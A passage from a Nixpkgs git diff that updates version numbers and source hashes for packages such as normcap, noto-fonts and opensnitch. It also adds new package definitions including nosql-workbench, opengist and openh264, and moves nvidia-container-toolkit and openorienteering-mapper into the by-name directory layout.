a/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix b/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix index ac96818227ced..738b3e53c872b 100644 --- a/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix +++ b/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix @@ -8,8 +8,8 @@ mkDerivation { pname = "nixfmt"; version = "0.5.0"; src = fetchzip { - url = "https://github.com/piegamesde/nixfmt/archive/d6930fd0c62c4d7ec9e4a814adc3d2f590d96271.tar.gz"; - sha256 = "1ijrdzdwricv4asmy296j7gzvhambv96nlxi3qrxb4lj1by6a34m"; + url = "https://github.com/piegamesde/nixfmt/archive/2b5ee820690bae64cb4003e46917ae43541e3e0b.tar.gz"; + sha256 = "1i1jbc1q4gd7fpilwy6s3a583yl5l8d8rlmipygj61mpclg9ihqg"; }; isLibrary = true; isExecutable = true; diff --git a/pkgs/by-name/no/nom/package.nix b/pkgs/by-name/no/nom/package.nix index 4913eb9c7ef76..2dce6de227a1d 100644 --- a/pkgs/by-name/no/nom/package.nix +++ b/pkgs/by-name/no/nom/package.nix @@ -4,13 +4,13 @@ }: buildGoModule rec { pname = "nom"; - version = "2.1.1"; + version = "2.1.3"; src = fetchFromGitHub { owner = "guyfedwards"; repo = "nom"; rev = "v${version}"; - hash = "sha256-yemEq61oUzoOrBZ7e6djNxbw/QqR5Fuhi1Y12n/AdrU="; + hash = "sha256-PBhwIyGzWbXRTmp+IvFPqae4cbb6l6nIYcFheYkHlFI="; }; vendorHash = "sha256-fP6yxfIQoVaBC9hYcrCyo3YP3ntEVDbDTwKMO9TdyDI="; diff --git a/pkgs/by-name/no/normcap/package.nix b/pkgs/by-name/no/normcap/package.nix index 8db68e9ae7e2b..7018cc5657805 100644 --- a/pkgs/by-name/no/normcap/package.nix +++ b/pkgs/by-name/no/normcap/package.nix @@ -25,7 +25,7 @@ in ps.buildPythonApplication rec { pname = "normcap"; - version = "0.4.4"; + version = "0.5.4"; format = "pyproject"; disabled = ps.pythonOlder "3.9"; @@ -34,20 +34,32 @@ ps.buildPythonApplication rec { owner = "dynobo"; repo = "normcap"; rev = "refs/tags/v${version}"; - hash = "sha256-dShtmoqS9TC3PHuwq24OEOhYfBHGhDCma8Du8QCkFuI="; + hash = "sha256-bYja05U/JBwSij1J2LxN+c5Syrb4qzWSZY5+HNmC9Zo="; }; + postPatch = '' + # disable coverage testing + substituteInPlace pyproject.toml \ + --replace "addopts = [" "addopts_ = [" + ''; + pythonRemoveDeps = [ - "PySide6-Essentials" + "pyside6-essentials" + ]; + + pythonRelaxDeps = [ + "shiboken6" ]; nativeBuildInputs = [ ps.pythonRelaxDepsHook - ps.poetry-core + ps.hatchling + ps.babel ]; propagatedBuildInputs = [ ps.pyside6 + ps.jeepney ]; preFixup = '' @@ -78,6 +90,7 @@ ps.buildPythonApplication rec { postCheck = lib.optionalString stdenv.isLinux '' # cleanup the virtual x11 display + sleep 0.5 kill $xvfb_pid ''; @@ -90,11 +103,20 @@ ps.buildPythonApplication rec { "test_urls_reachable" # requires xdg "test_synchronized_capture" + # flaky + "test_normcap_ocr_testcases" ] ++ lib.optionals stdenv.isDarwin [ # requires impure pbcopy "test_get_copy_func_with_pbcopy" "test_get_copy_func_without_pbcopy" "test_perform_pbcopy" + # NSXPCSharedListener endpointForReply:withListenerName:replyErrorCode: + # while obtaining endpoint 'ClientCallsAuxiliary': Connection interrupted + # since v5.0.0 + "test_introduction_initialize_checkbox_state" + "test_introduction_checkbox_sets_return_code" + "test_introduction_toggle_checkbox_changes_return_code" + "test_show_introduction" ]; disabledTestPaths = [ @@ -105,6 +127,9 @@ ps.buildPythonApplication rec { ] ++ lib.optionals stdenv.isDarwin [ # requires a display "tests/integration/test_normcap.py" + "tests/integration/test_tray_menu.py" + # failure unknown, crashes in first test with `.show()` + "tests/tests_gui/test_loading_indicator.py" ]; meta = with lib; { @@ -113,5 +138,6 @@ ps.buildPythonApplication rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ cafkafk pbsds ]; mainProgram = "normcap"; + broken = stdenv.isDarwin; }; } diff --git a/pkgs/by-name/no/nosql-workbench/package.nix b/pkgs/by-name/no/nosql-workbench/package.nix new file mode 100644 index 0000000000000..1b96328b211b4 --- /dev/null +++ b/pkgs/by-name/no/nosql-workbench/package.nix @@ -0,0 +1,82 @@ +{ + appimageTools, + lib, + fetchurl, + jdk21, + stdenv, + _7zz +}: +let + pname = "nosql-workbench"; + version = "3.11.0"; + + src = fetchurl { + x86_64-darwin = { + url = "https://s3.amazonaws.com/nosql-workbench/NoSQL%20Workbench-mac-x64-${version}.dmg"; + hash = "sha256-KM3aDDsQGZwUKU/or0eOoP8okAOPH7q8KL46RwfqhzM="; + }; + aarch64-darwin = { + url = "https://s3.amazonaws.com/nosql-workbench/NoSQL%20Workbench-mac-arm64-${version}.dmg"; + hash = "sha256-LzHiCMrDOWDuMNkkojLgKn+UG7x76wSAz0BapyWkAzU="; + }; + x86_64-linux = { + url = "https://s3.amazonaws.com/nosql-workbench/NoSQL%20Workbench-linux-${version}.AppImage"; + hash = "sha256-cDOSbhAEFBHvAluxTxqVpva1GJSlFhiozzRfuM4MK5c="; + }; + }.${stdenv.system} or (throw "Unsupported system: ${stdenv.system}"); + + meta = { + description = "Visual tool that provides data modeling, data visualization, and query development features to help you design, create, query, and manage DynamoDB tables"; + homepage = "https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/workbench.html"; + changelog = "https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/WorkbenchDocumentHistory.html"; + license = lib.licenses.unfree; + maintainers = with lib.maintainers; [ DataHearth ]; + platforms = [ "aarch64-darwin" "x86_64-darwin" "x86_64-linux" ]; + }; +in +if stdenv.isDarwin then stdenv.mkDerivation { + inherit pname version src meta; + + sourceRoot = "."; + + # DMG file is using APFS which is unsupported by "undmg". + # Instead, use "7zz" to extract the contents. + # "undmg" issue: https://github.com/matthewbauer/undmg/issues/4 + nativeBuildInputs = [ _7zz ]; + + buildInputs = [ jdk21 ]; + + installPhase = '' + runHook preInstall + + mkdir -p "$out/Applications" + mv NoSQL\ Workbench.app $out/Applications/ + + runHook postInstall + ''; + +} else appimageTools.wrapType2 { + inherit pname version src meta; + + extraPkgs = ps: (appimageTools.defaultFhsEnvArgs.multiPkgs ps) ++ [ + # Required to run DynamoDB locally + ps.jdk21 + ]; + + extraInstallCommands = let + appimageContents = appimageTools.extract { + inherit pname version src; + }; + in '' + # Replace version from binary name + mv $out/bin/${pname}-${version} $out/bin/${pname} + + # Install XDG Desktop file and its icon + install -Dm444 ${appimageContents}/nosql-workbench.desktop -t $out/share/applications + install -Dm444 ${appimageContents}/nosql-workbench.png -t $out/share/pixmaps + + # Replace wrong exec statement in XDG Desktop file + substituteInPlace $out/share/applications/nosql-workbench.desktop \ + --replace 'Exec=AppRun --no-sandbox %U' 'Exec=nosql-workbench' + ''; +} diff --git a/pkgs/by-name/no/noto-fonts/package.nix b/pkgs/by-name/no/noto-fonts/package.nix index 1fd5bc98f7b57..f700f8ad121c5 100644 --- a/pkgs/by-name/no/noto-fonts/package.nix +++ b/pkgs/by-name/no/noto-fonts/package.nix @@ -18,13 +18,13 @@ stdenvNoCC.mkDerivation rec { pname = "noto-fonts${suffix}"; - version = "24.2.1"; + version = "24.3.1"; src = fetchFromGitHub { owner = "notofonts"; repo = "notofonts.github.io"; rev = "noto-monthly-release-${version}"; - hash = "sha256-gOiaV1K7vYp5XguJTKRgUXJA+46p7po972XgCxV68iA="; + hash = "sha256-bopBRpIGXtRyAjBuMhJCjwFUlK8WDurxIFbZbRzEE40="; }; _variants = map (variant: builtins.replaceStrings [ " " ] [ "" ] variant) variants; diff --git a/pkgs/by-name/no/nowplaying-cli/package.nix b/pkgs/by-name/no/nowplaying-cli/package.nix new file mode 100644 index 0000000000000..fc47967113c13 --- /dev/null +++ b/pkgs/by-name/no/nowplaying-cli/package.nix @@ -0,0 +1,40 @@ +{ lib +, stdenv +, fetchFromGitHub +, darwin +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "nowplaying-cli"; + version = "1.2.1"; + + src = fetchFromGitHub { + owner = "kirtan-shah"; + repo = "nowplaying-cli"; + rev = "v${finalAttrs.version}"; + hash = "sha256-FkyrtgsGzpK2rLNr+oxfPUbX43TVXYeiBg7CN1JUg8Y="; + }; + + buildInputs = [ + darwin.apple_sdk.frameworks.Foundation + darwin.apple_sdk.frameworks.AppKit + darwin.apple_sdk.frameworks.Cocoa + ]; + + installPhase = '' + runHook preInstall + + install -D nowplaying-cli $out/bin/nowplaying-cli + + runHook postInstall + ''; + + meta = with lib; { + description = "macOS command-line utility for retrieving currently playing media"; + homepage = "https://github.com/kirtan-shah/nowplaying-cli"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ emilytrau ]; + platforms = platforms.darwin; + mainProgram = "nowplaying-cli"; + }; +}) diff --git a/pkgs/by-name/nr/nrr/package.nix b/pkgs/by-name/nr/nrr/package.nix index 00738eac36942..6b37d272f5f8a 100644 --- a/pkgs/by-name/nr/nrr/package.nix +++ b/pkgs/by-name/nr/nrr/package.nix @@ -9,16 +9,16 @@ rustPlatform.buildRustPackage rec { pname = "nrr"; - version = "0.5.2"; + version = "0.8.0"; src = fetchFromGitHub { owner = "ryanccn"; repo = "nrr"; rev = "v${version}"; - hash = "sha256-WrpyT5h+eoCu7cspf9KGaM0FgLmnBm8tOHIWbj8sYpo="; + hash = "sha256-4zQi7kQxcRXpYuSjolSZoDqX+CcGmq4dvChPlZZZVso="; }; - cargoHash = "sha256-XTKaVHy7FWYgMq5gNCLF8kIjDDyiyZ+GPZYBMKtLrsI="; + cargoHash = "sha256-XNnyEFEzKQ5N0xtskaUudcb2LtAiEsd6h3D/FdyIbHc="; buildInputs = lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.CoreFoundation diff --git a/pkgs/by-name/nu/nulloy/package.nix b/pkgs/by-name/nu/nulloy/package.nix new file mode 100644 index 0000000000000..57ff0eb60ff05 --- /dev/null +++ b/pkgs/by-name/nu/nulloy/package.nix @@ -0,0 +1,65 @@ +{ lib +, stdenv +, fetchFromGitHub +, which +, pkg-config +, zip +, imagemagick +, qt5 +, taglib +, gst_all_1 +}: + +stdenv.mkDerivation rec { + pname = "nulloy"; + version = "0.9.8.7"; + + src = fetchFromGitHub { + owner = "nulloy"; + repo = "nulloy"; + rev = version; + hash = "sha256-s8DzL7pp3hmD9k8pVqmk7WGq3zZ1tLF9C+jxcRtJOXA="; + }; + + nativeBuildInputs = [ + which # used by configure script + pkg-config + zip + imagemagick + qt5.qttools + qt5.wrapQtAppsHook + ]; + + buildInputs = [ + qt5.qtscript + qt5.qtsvg + taglib + ] ++ (with gst_all_1; [ + gstreamer + gst-plugins-base + gst-plugins-good + gst-plugins-bad + gst-plugins-ugly + ]); + + prefixKey = "--prefix "; + + enableParallelBuilding = true; + + # FIXME: not added by gstreamer setup hook by default + preFixup = '' + qtWrapperArgs+=( + --prefix GST_PLUGIN_SYSTEM_PATH_1_0 : "$GST_PLUGIN_SYSTEM_PATH_1_0" + ) + ''; + + meta = with lib; { + description = "Music player with a waveform progress bar"; + homepage = "https://nulloy.com"; + license = licenses.gpl3Only; + mainProgram = "nulloy"; + maintainers = with maintainers; [ aleksana ]; + platforms = platforms.all; + broken = stdenv.isDarwin; + }; +} diff --git a/pkgs/applications/virtualization/nvidia-container-toolkit/0001-Add-dlopen-discoverer.patch b/pkgs/by-name/nv/nvidia-container-toolkit/0001-Add-dlopen-discoverer.patch index ddc7d34ac7c1b..ddc7d34ac7c1b 100644 --- a/pkgs/applications/virtualization/nvidia-container-toolkit/0001-Add-dlopen-discoverer.patch +++ b/pkgs/by-name/nv/nvidia-container-toolkit/0001-Add-dlopen-discoverer.patch diff --git a/pkgs/applications/virtualization/nvidia-docker/default.nix b/pkgs/by-name/nv/nvidia-container-toolkit/nvidia-docker.nix index 07dfc3fdb6dc3..07dfc3fdb6dc3 100644 --- a/pkgs/applications/virtualization/nvidia-docker/default.nix +++ b/pkgs/by-name/nv/nvidia-container-toolkit/nvidia-docker.nix diff --git a/pkgs/applications/virtualization/nvidia-container-toolkit/default.nix b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix index 451ddb4906bc1..a584be35e7b20 100644 --- a/pkgs/applications/virtualization/nvidia-container-toolkit/default.nix +++ b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix @@ -6,8 +6,8 @@ , linkFarm , writeShellScript , formats -, containerRuntimePath -, configTemplate +, containerRuntimePath ? null +, configTemplate ? null , configTemplatePath ? null , libnvidia-container , cudaPackages @@ -91,7 +91,7 @@ buildGoModule rec { makeWrapper ]; - preConfigure = '' + preConfigure = lib.optionalString (containerRuntimePath != null) '' # Ensure the runc symlink isn't broken: if ! readlink --quiet --canonicalize-existing "${isolatedContainerRuntimePath}/runc" ; then echo "${isolatedContainerRuntimePath}/runc: broken symlink" >&2 @@ -109,7 +109,7 @@ buildGoModule rec { in [ "-skip" "${builtins.concatStringsSep "|" skippedTests}" ]; - postInstall = '' + postInstall = lib.optionalString (containerRuntimePath != null) '' mkdir -p $out/etc/nvidia-container-runtime # nvidia-container-runtime invokes docker-runc or runc if that isn't diff --git a/pkgs/applications/virtualization/nvidia-container-toolkit/packages.nix b/pkgs/by-name/nv/nvidia-container-toolkit/packages.nix index 0ce76d5aed31f..c78b6b1c28349 100644 --- a/pkgs/applications/virtualization/nvidia-container-toolkit/packages.nix +++ b/pkgs/by-name/nv/nvidia-container-toolkit/packages.nix @@ -29,7 +29,7 @@ lib.makeScope newScope ( ldconfig = "@@glibcbin@/bin/ldconfig"; }; }; - nvidia-container-toolkit-docker = self.callPackage ./. { + nvidia-container-toolkit-docker = self.callPackage ./package.nix { containerRuntimePath = "${docker}/libexec/docker/docker"; configTemplate = self.dockerConfig; }; @@ -65,7 +65,8 @@ lib.makeScope newScope ( ]; inherit (self.nvidia-docker-unwrapped) meta; }; - nvidia-docker-unwrapped = self.callPackage ../nvidia-docker { }; + nvidia-docker-unwrapped = + self.callPackage ./nvidia-docker.nix { }; nvidia-podman = symlinkJoin { name = "nvidia-podman"; diff --git a/pkgs/by-name/nw/nwg-drawer/package.nix b/pkgs/by-name/nw/nwg-drawer/package.nix index 976f99158c049..9f1d2f85e0efa 100644 --- a/pkgs/by-name/nw/nwg-drawer/package.nix +++ b/pkgs/by-name/nw/nwg-drawer/package.nix @@ -12,16 +12,16 @@ let pname = "nwg-drawer"; - version = "0.4.3"; + version = "0.4.5"; src = fetchFromGitHub { owner = "nwg-piotr"; repo = "nwg-drawer"; rev = "v${version}"; - hash = "sha256-1iylXR3WP39E/0L/vBe5LxXOKV+KisgUr2rxBEHahMo="; + hash = "sha256-TtCn93AyCSa0AlwwbtTdHwwteGbhaFL5OCohGOxn4Bg="; }; - vendorHash = "sha256-8s8+ukMQpciQmKt77fNE7r+3cm/UDxO8VtkrNYdKhM8="; + vendorHash = "sha256-w27zoC0BwTkiKyGVfNWG0k4tyTm5IIAthKqOyIMYBZQ="; in buildGoModule { inherit pname version src vendorHash; diff --git a/pkgs/by-name/nw/nwg-hello/package.nix b/pkgs/by-name/nw/nwg-hello/package.nix index de4cff184af44..0fb32cc564848 100644 --- a/pkgs/by-name/nw/nwg-hello/package.nix +++ b/pkgs/by-name/nw/nwg-hello/package.nix @@ -9,13 +9,13 @@ python3Packages.buildPythonApplication rec { pname = "nwg-hello"; - version = "0.1.6"; + version = "0.1.7"; src = fetchFromGitHub { owner = "nwg-piotr"; repo = "nwg-hello"; - rev = "v${version}"; - hash = "sha256-+D89QTFUV7/dhfcOWnQshG8USh35Vdm/QPHbsxiV0j0="; + rev = "refs/tags/v${version}"; + hash = "sha256-HDH5B15MQqJhRNCPeg4IJSeX/676AdCNhmJ7iqn8yco="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/oe/oelint-adv/package.nix b/pkgs/by-name/oe/oelint-adv/package.nix index abcb5bbfa3c84..32215b708f98e 100644 --- a/pkgs/by-name/oe/oelint-adv/package.nix +++ b/pkgs/by-name/oe/oelint-adv/package.nix @@ -6,13 +6,13 @@ python3.pkgs.buildPythonApplication rec { pname = "oelint-adv"; - version = "4.2.0"; + version = "4.4.1"; format = "setuptools"; src = fetchPypi { inherit version; pname = "oelint_adv"; - hash = "sha256-Yq69pZLtOdUP+ZkKA6F7KgRlmXJQiS17+ETMVjpt9iY="; + hash = "sha256-Yv0GCz0vZTVrnFjHFIl4XF/jbVD4DJ4J6V6+X5IllJ8="; }; propagatedBuildInputs = with python3.pkgs; [ diff --git a/pkgs/by-name/on/one-click-backup/package.nix b/pkgs/by-name/on/one-click-backup/package.nix new file mode 100644 index 0000000000000..c12693559670c --- /dev/null +++ b/pkgs/by-name/on/one-click-backup/package.nix @@ -0,0 +1,42 @@ +{ lib +, stdenv +, fetchFromGitLab +, cmake +, ninja +, qt6 +, extra-cmake-modules +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "one-click-backup"; + version = "1.2.2.1"; + + src = fetchFromGitLab { + owner = "dev-nis"; + repo = "nis-one-click-backup-qt"; + rev = finalAttrs.version; + hash = "sha256-F+gA+Z4gZoNJYdy28uIjqiJcwcNsyUzl6BXsiIZO0gE="; + }; + + nativeBuildInputs = [ + cmake + ninja + qt6.wrapQtAppsHook + ]; + + buildInputs = [ + qt6.qtdeclarative + extra-cmake-modules + ]; + + meta = with lib; { + description = "Simple Program to backup folders to an external location by copying them"; + homepage = "https://gitlab.com/dev-nis/nis-one-click-backup-qt"; + changelog = "https://gitlab.com/dev-nis/nis-one-click-backup-qt/-/blob/${finalAttrs.version}/CHANGELOG.md"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ NIS ]; + mainProgram = "NIS_One-Click-Backup_Qt"; + platforms = platforms.all; + broken = stdenv.hostPlatform.isDarwin; + }; +}) diff --git a/pkgs/by-name/on/onedriver/package.nix b/pkgs/by-name/on/onedriver/package.nix index f3182a6114301..348f4b658b4cd 100644 --- a/pkgs/by-name/on/onedriver/package.nix +++ b/pkgs/by-name/on/onedriver/package.nix @@ -7,6 +7,7 @@ , fuse , installShellFiles , wrapGAppsHook +, wrapperDir ? "/run/wrappers/bin" }: let pname = "onedriver"; @@ -40,6 +41,7 @@ buildGoModule { install -Dm644 ./pkg/resources/onedriver-128.png $out/share/icons/onedriver/onedriver-128.png install -Dm644 ./pkg/resources/onedriver.desktop $out/share/applications/onedriver.desktop + install -Dm644 ./pkg/resources/onedriver@.service $out/lib/systemd/user/onedriver@.service mkdir -p $out/share/man/man1 installManPage ./pkg/resources/onedriver.1 @@ -47,6 +49,10 @@ buildGoModule { substituteInPlace $out/share/applications/onedriver.desktop \ --replace "/usr/bin/onedriver-launcher" "$out/bin/onedriver-launcher" \ --replace "/usr/share/icons" "$out/share/icons" + + substituteInPlace $out/lib/systemd/user/onedriver@.service \ + --replace "/usr/bin/onedriver" "$out/bin/onedriver" \ + --replace "/usr/bin/fusermount" "${wrapperDir}/fusermount" ''; meta = with lib; { diff --git a/pkgs/by-name/op/open-scq30/package.nix b/pkgs/by-name/op/open-scq30/package.nix new file mode 100644 index 0000000000000..04d9b036d385b --- /dev/null +++ b/pkgs/by-name/op/open-scq30/package.nix @@ -0,0 +1,74 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, pkg-config +, protobuf +, wrapGAppsHook4 +, cairo +, dbus +, gdk-pixbuf +, glib +, gtk4 +, libadwaita +, pango +, stdenv +, darwin +, cargo-make +}: + +rustPlatform.buildRustPackage rec { + pname = "open-scq30"; + version = "1.10.6"; + + src = fetchFromGitHub { + owner = "Oppzippy"; + repo = "OpenSCQ30"; + rev = "v${version}"; + hash = "sha256-qYWLf0ns4YSq+yAspVTMvKQi861iUMJar2wjqm+BV/0="; + }; + + nativeBuildInputs = [ + pkg-config + protobuf + wrapGAppsHook4 + cargo-make + ]; + + buildInputs = [ + cairo + dbus + gdk-pixbuf + glib + gtk4 + libadwaita + pango + ] ++ lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.AppKit + darwin.apple_sdk.frameworks.CoreGraphics + darwin.apple_sdk.frameworks.Foundation + ]; + + cargoHash = "sha256-BQLNm+yyimBh7WomrccdQ2lvrQzCNXf4MEa1LlPhck0="; + + INSTALL_PREFIX = placeholder "out"; + + # Requires headphones + doCheck = false; + + buildPhase = '' + cargo make --profile release build + ''; + + installPhase = '' + cargo make --profile release install + ''; + + meta = with lib; { + description = "Cross platform application for controlling settings of Soundcore headphones."; + homepage = "https://github.com/Oppzippy/OpenSCQ30"; + changelog = "https://github.com/Oppzippy/OpenSCQ30/blob/${src.rev}/CHANGELOG.md"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ mkg20001 ]; + mainProgram = "open-scq30"; + }; +} diff --git a/pkgs/by-name/op/opengist/package.nix b/pkgs/by-name/op/opengist/package.nix new file mode 100644 index 0000000000000..fb9efcd7b0766 --- /dev/null +++ b/pkgs/by-name/op/opengist/package.nix @@ -0,0 +1,70 @@ +{ lib, buildGoModule, buildNpmPackage, fetchFromGitHub, moreutils, jq, git }: +let + # finalAttrs when 🥺 (buildGoModule does not support them) + # https://github.com/NixOS/nixpkgs/issues/273815 + version = "1.6.1"; + src = fetchFromGitHub { + owner = "thomiceli"; + repo = "opengist"; + rev = "v${version}"; + hash = "sha256-rJ8oiH08kSSFNgPHKGo68Oi1i3L1SEJyHuzoxKMOZME="; + }; + + frontend = buildNpmPackage { + pname = "opengist-frontend"; + inherit version src; + + nativeBuildInputs = [ moreutils jq ]; + + # npm complains of "invalid package". shrug. we can give it a version. + preBuild = '' + jq '.version = "${version}"' package.json | sponge package.json + ''; + + # copy pasta from the Makefile upstream, seems to be a workaround of sass + # issues, unsure why it is not done in vite: + # https://github.com/thomiceli/opengist/blob/05eccfa8e728335514a40476cd8116cfd1ca61dd/Makefile#L16-L19 + postBuild = '' + EMBED=1 npx postcss 'public/assets/embed-*.css' -c public/postcss.config.js --replace + ''; + + installPhase = '' + mkdir -p $out + cp -R public $out + ''; + + npmDepsHash = "sha256-Sy321tIQOOrypk+EOGGixEzrPdhA9U8Hak+DOS+d00A="; + }; +in +buildGoModule { + pname = "opengist"; + inherit version src; + vendorHash = "sha256-IorqXJKzUTUL5zfKRipZaJtRlwVOmTwolJXFG/34Ais="; + tags = [ + "fs_embed" + ]; + + # required for tests + nativeCheckInputs = [ + git + ]; + + # required for tests to not try to write into $HOME and fail + preCheck = '' + export OG_OPENGIST_HOME=$(mktemp -d) + ''; + + postPatch = '' + cp -R ${frontend}/public/{manifest.json,assets} public/ + ''; + + passthru.frontend = frontend; + + meta = { + description = "Self-hosted pastebin powered by Git"; + homepage = "https://github.com/thomiceli/opengist"; + license = lib.licenses.agpl3Only; + maintainers = with lib.maintainers; [ lf- ]; + platforms = lib.platforms.unix; + }; +} diff --git a/pkgs/by-name/op/openh264/package.nix b/pkgs/by-name/op/openh264/package.nix new file mode 100644 index 0000000000000..0ece02c3a2b3d --- /dev/null +++ b/pkgs/by-name/op/openh264/package.nix @@ -0,0 +1,48 @@ +{ lib +, fetchFromGitHub +, gtest +, meson +, nasm +, ninja +, pkg-config +, stdenv +, windows +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "openh264"; + version = "2.4.1"; + + src = fetchFromGitHub { + owner = "cisco"; + repo = "openh264"; + rev = "v${finalAttrs.version}"; + hash = "sha256-ai7lcGcQQqpsLGSwHkSs7YAoEfGCIbxdClO6JpGA+MI="; + }; + + outputs = [ "out" "dev" ]; + + nativeBuildInputs = [ + meson + nasm + ninja + pkg-config + ]; + + buildInputs = [ + gtest + ] ++ lib.optionals stdenv.hostPlatform.isWindows [ + windows.pthreads + ]; + + strictDeps = true; + + meta = { + homepage = "https://www.openh264.org"; + description = "A codec library which supports H.264 encoding and decoding"; + changelog = "https://github.com/cisco/openh264/releases/tag/${finalAttrs.src.rev}"; + license = with lib.licenses; [ bsd2 ]; + maintainers = with lib.maintainers; [ AndersonTorres ]; + platforms = lib.platforms.unix ++ lib.platforms.windows; + }; +}) diff --git a/pkgs/applications/gis/openorienteering-mapper/default.nix b/pkgs/by-name/op/openorienteering-mapper/package.nix index 81278c9184e79..eef5c0f917911 100644 --- a/pkgs/applications/gis/openorienteering-mapper/default.nix +++ b/pkgs/by-name/op/openorienteering-mapper/package.nix @@ -1,6 +1,5 @@ { lib , stdenv -, mkDerivation , fetchFromGitHub , fetchpatch , clipper @@ -10,14 +9,11 @@ , gdal , ninja , proj -, qtimageformats -, qtlocation -, qtsensors -, qttools +, qt5 , zlib }: -mkDerivation rec { +stdenv.mkDerivation rec { pname = "OpenOrienteering-Mapper"; version = "0.9.5"; @@ -36,11 +32,19 @@ mkDerivation rec { }) ]; + postPatch = '' + substituteInPlace CMakeLists.txt \ + --replace "find_package(ClangTidy" "#find_package(ClangTidy" + substituteInPlace packaging/custom_install.cmake.in \ + --replace "fixup_bundle_portable(" "#fixup_bundle_portable(" + ''; + nativeBuildInputs = [ cmake doxygen ninja - qttools + qt5.qttools + qt5.wrapQtAppsHook ]; buildInputs = [ @@ -48,35 +52,34 @@ mkDerivation rec { cups gdal proj - qtimageformats - qtlocation - qtsensors + qt5.qtimageformats + qt5.qtlocation + qt5.qtsensors zlib ]; cmakeFlags = [ # Building the manual and bundling licenses fails # See https://github.com/NixOS/nixpkgs/issues/85306 - "-DLICENSING_PROVIDER:BOOL=OFF" - "-DMapper_MANUAL_QTHELP:BOOL=OFF" + (lib.cmakeBool "LICENSING_PROVIDER" false) + (lib.cmakeBool "Mapper_MANUAL_QTHELP" false) ] ++ lib.optionals stdenv.isDarwin [ # FindGDAL is broken and always finds /Library/Framework unless this is # specified - "-DGDAL_INCLUDE_DIR=${gdal}/include" - "-DGDAL_CONFIG=${gdal}/bin/gdal-config" - "-DGDAL_LIBRARY=${gdal}/lib/libgdal.dylib" + (lib.cmakeFeature "GDAL_INCLUDE_DIR" "${gdal}/include") + (lib.cmakeFeature "GDAL_CONFIG" "${gdal}/bin/gdal-config") + (lib.cmakeFeature "GDAL_LIBRARY" "${gdal}/lib/libgdal.dylib") # Don't bundle libraries - "-DMapper_PACKAGE_PROJ=0" - "-DMapper_PACKAGE_QT=0" - "-DMapper_PACKAGE_ASSISTANT=0" - "-DMapper_PACKAGE_GDAL=0" + (lib.cmakeBool "Mapper_PACKAGE_PROJ" false) + (lib.cmakeBool "Mapper_PACKAGE_QT" false) + (lib.cmakeBool "Mapper_PACKAGE_ASSISTANT" false) + (lib.cmakeBool "Mapper_PACKAGE_GDAL" false) ]; postInstall = with stdenv; lib.optionalString isDarwin '' - mkdir -p $out/Applications + mkdir -p $out/{Applications,bin} mv $out/Mapper.app $out/Applications - mkdir -p $out/bin - ln -s $out/Applications/Mapper.app/Contents/MacOS/Mapper $out/bin/mapper + ln -s $out/Applications/Mapper.app/Contents/MacOS/Mapper $out/bin/Mapper ''; meta = with lib; { @@ -86,7 +89,6 @@ mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ mpickering sikmir ]; platforms = with platforms; unix; - broken = stdenv.isDarwin; mainProgram = "Mapper"; }; } diff --git a/pkgs/by-name/op/openscad-unstable/package.nix b/pkgs/by-name/op/openscad-unstable/package.nix index 582733035d461..cd14fb525c369 100644 --- a/pkgs/by-name/op/openscad-unstable/package.nix +++ b/pkgs/by-name/op/openscad-unstable/package.nix @@ -33,6 +33,7 @@ , tbb_2021_8 , wayland , wayland-protocols +, wrapGAppsHook }: let # get cccl from source to avoid license issues @@ -78,12 +79,12 @@ in # clang consume much less RAM than GCC clangStdenv.mkDerivation rec { pname = "openscad-unstable"; - version = "2024-01-22"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "openscad"; repo = "openscad"; - rev = "88d244aed3c40a76194ff537ed84bd65bc0e1aeb"; - hash = "sha256-qkQNbYhmOxF14zm+eCcwe9asLOEciYBANefUb8+KNEI="; + rev = "f5688998760d6b85d7b280300388448c162edc42"; + hash = "sha256-rQnih7Am7NvlrTwIGAN4QbZCcziFm6YOOT27wmjcY8A="; fetchSubmodules = true; }; nativeBuildInputs = [ @@ -95,6 +96,7 @@ clangStdenv.mkDerivation rec { python3 libsForQt5.qt5.wrapQtAppsHook llvmPackages.bintools + wrapGAppsHook ]; buildInputs = with libsForQt5; with qt5; [ # manifold dependencies diff --git a/pkgs/by-name/op/opensnitch/package.nix b/pkgs/by-name/op/opensnitch/package.nix index 795050cdc6d65..1ba7f6e65dc44 100644 --- a/pkgs/by-name/op/opensnitch/package.nix +++ b/pkgs/by-name/op/opensnitch/package.nix @@ -18,13 +18,13 @@ buildGoModule rec { pname = "opensnitch"; - version = "1.6.5"; + version = "1.6.5.1"; src = fetchFromGitHub { owner = "evilsocket"; repo = "opensnitch"; rev = "refs/tags/v${version}"; - hash = "sha256-2HHyecgiodWhQkkn3eo0RJNroD7HaK6Je/+x9IqZfWE="; + hash = "sha256-IVrAAHzLS7A7cYhRk+IUx8/5TGKeqC7M/7iXOpPe2ZA="; }; postPatch = '' diff --git a/pkgs/by-name/op/opensoundmeter/build.patch b/pkgs/by-name/op/opensoundmeter/build.patch new file mode 100644 index 0000000000000..3ec76bc90db6a --- /dev/null +++ b/pkgs/by-name/op/opensoundmeter/build.patch @@ -0,0 +1,13 @@ +--- a/OpenSoundMeter.desktop ++++ b/OpenSoundMeter.desktop +@@ -6 +6 @@ +-Icon=white ++Icon=OpenSoundMeter +--- a/OpenSoundMeter.pro ++++ b/OpenSoundMeter.pro +@@ -261 +261 @@ +-APP_GIT_VERSION = $$system(git --git-dir $$_PRO_FILE_PWD_/.git --work-tree $$_PRO_FILE_PWD_ describe --tags $$system(git --git-dir 